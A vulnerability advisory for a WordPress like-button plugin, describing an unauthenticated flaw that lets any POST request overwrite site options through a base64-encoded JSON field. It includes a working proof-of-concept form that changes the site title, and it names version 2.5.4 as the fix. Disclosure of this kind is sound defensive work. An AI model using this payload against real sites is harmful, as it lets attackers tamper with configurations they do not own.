CVSS Summary
Score | 6.4 Medium |
---|---|
Vector | Network |
Complexity | Low |
Authentication | None |
Confidentiality | Partial |
Integrity | Partial |
Availability | None |
Last revised:
In the init
action, this plugin checks to see if $_POST['likebtn_import_config']
is empty. If it’s not empty then it base64-decodes the string, parses it as JSON, and starts changing options.
Current state: Reported
Score | 6.4 Medium |
---|---|
Vector | Network |
Complexity | Low |
Authentication | None |
Confidentiality | Partial |
Integrity | Partial |
Availability | None |
The below form will set the “Site Title” option to “Temmie”:
<form method="POST" action="http://localhost/"> <input type="text" name="likebtn_import_config" value="ewogICJsaWtlYnRuX3NldHRpbmdzX29wdGlvbnMiOiB7CiAgICAiYmxvZ25hbWUiOiAiVGVtbWllIgogIH0KfQo="> <input type="submit"> </form>
This works whether you’re logged in or not. The base64-encoded JSON above is this:
{ "likebtn_settings_options": { "blogname": "Temmie" } }
Upgrade to version 2.5.4 or later.